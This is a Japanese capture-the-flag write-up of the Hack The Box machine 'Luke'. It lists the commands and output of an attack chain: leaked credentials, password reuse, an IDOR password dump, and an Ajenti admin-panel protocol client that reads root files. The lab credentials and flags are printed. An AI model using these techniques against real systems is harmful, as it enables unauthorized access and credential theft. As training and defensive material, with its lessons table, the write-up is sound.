Hack The BoxのWriteup(Luke)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Luke — 全実行コマンド・実行結果レポート
Nmap スキャン
21/22/80/3000/8000
FTP匿名ログイン
for_Chihiro.txt ヒント
config.php 漏洩
MySQL root パスワード
API JWT 再利用
admin:<DBパスワード>
/users/derry
Derry パスワード判明
/management/config.json
Ajenti root パスワード漏洩
Ajenti Notepad
Open ダイアログでファイル閲覧
user.txt + root.txt ✓

ポートスキャン + バージョン検出

BASH
nmap -Pn -sV -sC -p 21,22,80,3000,8000 10.129.65.33
RESULT
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3+ (ext.1)
22/tcp   open  ssh?
80/tcp   open  http    Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
3000/tcp open  http    Node.js Express framework
8000/tcp open  http    Ajenti http control panel

Service detection performed. 1 IP address (1 host up) scanned in 78.47 seconds
🚨
重要発見: 5個のポートすべてが後の攻略チェーンに関わる。 21(FTP匿名) → ヒント、80(Web+PHP) → 認証情報漏洩、3000(Node API) → JWT悪用、 8000(Ajenti 1.2.23.13、非常に古い管理パネル) → 最終的な RCE 相当の到達点。

Webサイト (port 80) の確認

BASH
curl -s http://10.129.65.33/ | grep -i title
RESULT
  <title>Luke</title>
ℹ️
Bootstrap テンプレートの企業紹介ページ「Luke LTD」。連絡先 contact@luke.io のみで、 目立った攻撃面は無い。裏で稼働している他サービス(FTP/API/Ajenti)を調べる必要がある。
PHASE 2

資格情報チェーン — FTP → config.php → Node API JWT

FTP匿名ログインでヒントファイル取得

BASH
curl -s ftp://anonymous:anonymous@10.129.65.33/webapp/for_Chihiro.txt
RESULT (for_Chihiro.txt)
Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies !

Derry
ℹ️
送信者「Derry」というユーザー名が判明。「actual website のソースを見せる」という 文言から、Web サーバーのソースコード(PHP設定ファイル等)に何かヒントがあると推測できる。

config.php の平文DB認証情報漏洩

BASH
curl -s http://10.129.65.33/config.php
RESULT
$dbHost = 'localhost';
$dbUsername = 'root';
$dbPassword  = 'Zk6heYCyv6ZE9Xcg';
$db = "login";

$conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);
🚨
config.php が PHP として実行されず平文でそのまま配信されている (Apache の PHP ハンドラ設定漏れ、または拡張子誤り)。DB名が “login” であることから、 後述の Node.js API のログイン認証にもこのパスワードが再利用されている可能性が高い。

port 3000 API へログイン (パスワード使い回し)

BASH
curl -s -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' \
  http://10.129.65.33:3000/login
RESULT
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzg5NzQwNzQzLCJleHAiOjE3ODk4MjcxNDN9._xaOzUXwIuJs3PHQkmgbZG3QsMlR4IlVAs0wXTt9cH8"}
MySQL の root パスワードが、そのまま Node API の “admin” ユーザーのログインパスワードとしても 通用する(認証情報の使い回し)。JWT トークンを取得できた。

JWT で /users を列挙 (raw トークンを authorization ヘッダーへ)

BASH
TOKEN="eyJhbGciOiJIUzI1NiIs..."
curl -s -H "authorization: $TOKEN" http://10.129.65.33:3000/users
RESULT
[{"ID":"1","name":"Admin","Role":"Superuser"},
 {"ID":"2","name":"Derry","Role":"Web Admin"},
 {"ID":"3","name":"Yuri","Role":"Beta Tester"},
 {"ID":"4","name":"Dory","Role":"Supporter"}]
⚠️
“authorization” ヘッダーは Bearer <token> 形式ではない。 JWT トークンの生文字列をそのままヘッダー値として渡す必要がある(このAPI独自の実装)。

GET /users/<name> — 各ユーザー自身のパスワードが判明

BASH
for u in admin derry yuri dory; do
  curl -s -H "authorization: $TOKEN" http://10.129.65.33:3000/users/$u; echo
done
RESULT
{"name":"Admin","password":"WX5b7)>/rp$U)FW"}
{"name":"Derry","password":"rZ86wwLvx7jUxtch"}
{"name":"Yuri","password":"bet@tester87"}
{"name":"Dory","password":"5y:!xa=ybfe)/QD"}
IDOR 的な情報漏洩: 権限チェックなしに任意ユーザー名を指定するだけで そのユーザー自身のパスワードが返る。Derry:rZ86wwLvx7jUxtch を次のフェーズで使用する。
PHASE 3

Ajenti 管理パネル認証情報の漏洩

/management (HTTP Basic 認証) — ユーザー名は大文字始まり必須

BASH
# 小文字 "derry" では 401 になる点に注意 (htpasswd は大文字小文字を区別する)
curl -s -o /dev/null -w '%{http_code}\n' -u "derry:rZ86wwLvx7jUxtch" http://10.129.65.33/management/config.json
curl -s -o /dev/null -w '%{http_code}\n' -u "Derry:rZ86wwLvx7jUxtch" http://10.129.65.33/management/
RESULT
401
200
⚠️
API から得た derry(小文字)をそのまま Basic 認証に使うと 401 で失敗する。 画面表示上の名前 “Derry”(先頭大文字)がそのまま Unix/htpasswd アカウント名になっている。

/management/config.json — Ajenti root パスワード漏洩

BASH
curl -s -u "Derry:rZ86wwLvx7jUxtch" http://10.129.65.33/management/config.json | python3 -m json.tool
RESULT (抜粋)
{
    "users": {
        "root": {
            "configs": {
                "ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}",
                "ajenti.plugins.munin.client.MuninClient": "{... \"password\": \"123\" ...}",
                ...
            },
            "password": "KpMasng6S5EtTy9Z",
            "permissions": []
        }
    },
    "bind": {"host": "0.0.0.0", "port": 8000},
    "authentication": true
}
🚨
重要な落とし穴: この JSON には munin プラグイン設定内にも別の "password": "123" フィールドが先に出現する。最初にマッチした 正規表現で抽出すると誤った値を掴む。JSON としてパースし users.root.password を明示的に辿る必要がある。 Ajenti(port 8000) の root ログインパスワードは KpMasng6S5EtTy9Z
PHASE 4

Ajenti 1.x 独自プロトコルの解析

ログインとプロトコル概要

HTTP
POST /ajenti:auth
Content-Type: application/x-www-form-urlencoded

username=root&password=KpMasng6S5EtTy9Z
RESULT
HTTP/1.1 302 Found
Set-Cookie: session=<session-id>; ...
ℹ️
Ajenti 1.2.23.13 (2019年当時でも既に旧式) は socket.io v0.9 (Engine.IO 以前の世代)でサーバーレンダリングした UI ウィジェットツリー全体を base64 + raw-deflate 圧縮で配信する独自プロトコルを使う。ブラウザなしで 操作するには、この後述のプロトコルを HTTP クライアントで再現する必要がある。

socket.io ハンドシェイクと xhr-polling

PYTHON (要点)
# 1. handshake: GET /ajenti:socket/1/?t=<ms>
#    → "<sid>:<heartbeat秒>:<timeout秒>:websocket,flashsocket,xhr-polling,jsonp-polling"
# 2. xhr-polling で送受信:
#    GET/POST /ajenti:socket/1/xhr-polling/<sid>?t=<ms>
# 3. パケット形式 "<type>:<id>:<endpoint>:<data>"
#    type 1=connect, 3=message, 5=event
#    namespace接続は "1::/stream" ← コロン3個必須
#    (4個にすると endpoint が空文字列扱いになり no_such_namespace エラー)
sess.post(url, data="1::/stream")
⚠️
複数フレームが1レスポンスに詰め込まれる場合、区切り文字 U+FFFD (�) の <delim><バイト長><delim><フレーム>... 形式で packed される。 テキストデコード後に処理すると、区切り文字由来のマルチバイト境界破損で base64デコードに失敗するため、必ずバイト列のまま分割・デコードすること。

UIツリーの取得(raw-deflate 圧縮)とセクション切替

PYTHON
import zlib, base64, json

def decompress_arg(frame_bytes):
    b64 = re.search(rb'"args":\["(.*)"\]', frame_bytes).group(1).replace(b'\\"', b'"')
    raw = base64.b64decode(b64)
    return zlib.decompress(raw, -15)   # ← headerなし raw deflate (標準zlibでは失敗)

ui_tree = json.loads(decompress_arg(frame))

# セクション切替は対象セクション自身への click ではなく、
# main:sections_root ウィジェットへ switch イベントを送る
switch = {"type": "ui_update", "content": [
    {"type": "event", "uid": sections_root_uid, "event": "switch",
     "params": {"uid": notepad_section_uid}}
]}
ℹ️
クライアント JS (main__sections_root.setupDom)を解析すると、 セクションタブの click ハンドラは _this.event('switch', {uid: child.uid}) (親の sections_root が switch イベントを発行)であることが分かる。

Terminal / File Manager “Edit” はこの環境で壊れている

NOTE
当初、最も直接的な方法として Ajenti の Terminal プラグインでコマンドを実行し
cat でフラグを読む方式を試みた:

  ・"New"/"Run" ボタンで terminal:thumbnail(擬似端末オブジェクト)は正常に生成される
  ・/terminal namespace への select は成功する(初期 "set" イベントも届く)
  ・しかし画面バッファ(35行×160列)が恒久的に完全な空白のまま一切更新されない
  ・xhr-polling / 生 WebSocket の両トランスポートで同一の空バッファが返るため、
    クライアント側の実装ミスではなく、サーバー側 PTY(forkpty 相当)自体が
    この FreeBSD 環境で機能していないと推測される

次に File Manager プラグインでファイルのプロパティダイアログ内 "Edit" ボタンを
試したが、クリック後そのセッションの xhr-polling チャンネルが
以後ずっと ReadTimeout になり応答不能になった(Ajenti デーモン自体は
クラッシュしないが、そのセッションだけ死ぬ)。

さらに、これらの機能を繰り返し試行(不正な形式のパケット送信や過度な
ポーリング)した結果、Ajenti デーモン自体がクラッシュして
connection refused になる事象も一度発生した。自動リスタートは
無いため、HTB 側でのマシンリセットが必要になった。
🚨
教訓: Ajenti Terminal と File Manager の Edit 機能はこの環境では 使用しない。過度な試行はサービスクラッシュを招くリスクがある。

動作する方法: Notepad プラグインの Open ダイアログ

PYTHON (要点)
# 1. main:sections_root へ switch イベントで "Notepad" セクションへ切替
# 2. "Open" ボタンを click → openfiledialog が開く(ルート "/" のファイル一覧)
# 3. パスの各セグメントを順に listitem の label テキストで検索して click
#    例: /root/root.txt なら listitem"root" → listitem"root.txt"
# 4. 最後のファイル名を click すると、レスポンスの ui_update 内の
#    codearea ウィジェットの "value" プロパティにファイル内容全体が入る

def read_file(path):
    switch_to("Notepad")
    click(open_button_uid)
    cur_ui = get_ui()
    for seg in [s for s in path.split("/") if s]:
        li = find_listitem_by_label(cur_ui, seg)
        click(li["uid"])
        cur_ui = get_ui()
    codearea = find_by_type(cur_ui, "codearea")
    return codearea["value"]
この方式は PTY もブロッキング編集処理も使わないため安定して動作する。 listitem の uid は描画のたびに変わるため、click のたびに最新の UI ツリーから ラベルテキストで再検索する必要がある(uid のハードコード不可)。
PHASE 5

user.txt / root.txt 取得

/home/derry/user.txt を Notepad Open ダイアログで開く

PYTHON
# path = "/home/derry/user.txt"
# listitem "home" → listitem "derry" → listitem "user.txt" の順に click
content = read_file("/home/derry/user.txt")
print(content)
RESULT (codearea.value)
1a42148d29457db189e3aaaac97863ab
user.txt — derry
1a42148d29457db189e3aaaac97863ab

/root/root.txt を Notepad Open ダイアログで開く

PYTHON
# path = "/root/root.txt"
# listitem "root" → listitem "root.txt" の順に click
content = read_file("/root/root.txt")
print(content)
RESULT (codearea.value)
b0b884d986d69b192a1e89db709b4fb8
root.txt — root
b0b884d986d69b192a1e89db709b4fb8
Ajenti は root 権限で動作するプロセスであるため、Notepad プラグインは ファイルシステム全体を root 権限で読み書きできる。ログイン成功(Ajentiのroot パスワード漏洩)の時点で事実上のフル権限に到達しており、user.txt / root.txt いずれも同じ手順で読み取れる。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — derry
1a42148d29457db189e3aaaac97863ab
root.txt — root
b0b884d986d69b192a1e89db709b4fb8

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
FTP匿名アクセス vsftpd 3.0.3+ 内部メモ・ユーザー名の漏洩 Medium for_Chihiro.txt からユーザー名 “Derry” を入手
ソースコード平文漏洩 config.php (Apache/PHP設定不備) MySQL 認証情報の平文漏洩 Critical PHP として実行されず生テキストで配信、DBパスワードを直接取得
認証情報の使い回し + IDOR Node.js/Express API (port 3000) 全ユーザーのパスワード漏洩 High DBパスワードをAPIログインに再利用しJWT取得、/users/<name>で権限チェック無しに全員のパスワードを取得
管理設定ファイルの露出 /management/config.json Ajenti(root権限プロセス)の認証情報漏洩 Critical Basic認証(大文字小文字区別に注意)後、config.json内のAjenti rootパスワードを取得
Ajenti 1.x 管理パネル露出 Ajenti 1.2.23.13 (port 8000) root権限でのファイル読み取り(実質的な完全侵害) Critical 漏洩した root パスワードでログインし、Notepad プラグインの Open ダイアログでフラグファイルを直接閲覧

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap バージョンスキャン21(FTP)/22(SSH)/80(Web)/3000(Node)/8000(Ajenti)
2FTP匿名ログインユーザー名 “Derry” のヒント
3Web漏洩config.php 平文配信MySQL root:Zk6heYCyv6ZE9Xcg
4APIパスワード使い回し + JWTderry:rZ86wwLvx7jUxtch 含む全ユーザーパスワード
5管理設定漏洩Basic認証 + config.jsonAjenti root:KpMasng6S5EtTy9Z
6Ajentiログインsocket.io v0.9 プロトコル解析UIツリー取得・セクション操作の実装
7ファイル閲覧Notepad Open ダイアログuser.txt + root.txt (root権限で両方一括取得)

学んだ教訓 & 防御策

問題点防御策
config.php が PHP として実行されず平文配信されている Web サーバー設定で .php 拡張子が確実に PHP ハンドラへ渡ることを確認する。設定ファイルは DocumentRoot 外に置く、または環境変数/シークレットマネージャーへ移行する。
DBパスワードが他サービス(API)のログイン認証にも使い回されている サービスごとに独立した認証情報を発行し、パスワードの使い回しを禁止するポリシーを徹底する。
/users/<name> API に認可チェックが無く任意ユーザーのパスワードを取得できる(IDOR) APIエンドポイントごとに「本人または管理者のみ」の認可チェックを必ず実装する。パスワードをAPIレスポンスに含めないこと自体も見直すべき。
/management/config.json が Basic認証のみで露出し、管理パネルの root パスワードを含む 機密設定ファイルをWebから到達可能な場所に置かない。やむを得ない場合は多要素認証・IP制限・別ネットワークセグメントでの保護を行う。
Ajenti 1.2.23.13 という2019年当時でも旧式な管理パネルがroot権限で公開稼働 管理パネルは最新版へ更新し、外部からアクセス不能なVPN/管理専用ネットワーク内に限定する。root権限でのプロセス実行も最小権限の原則に反するため避ける。
HackTheBox: Luke | 完全攻略レポート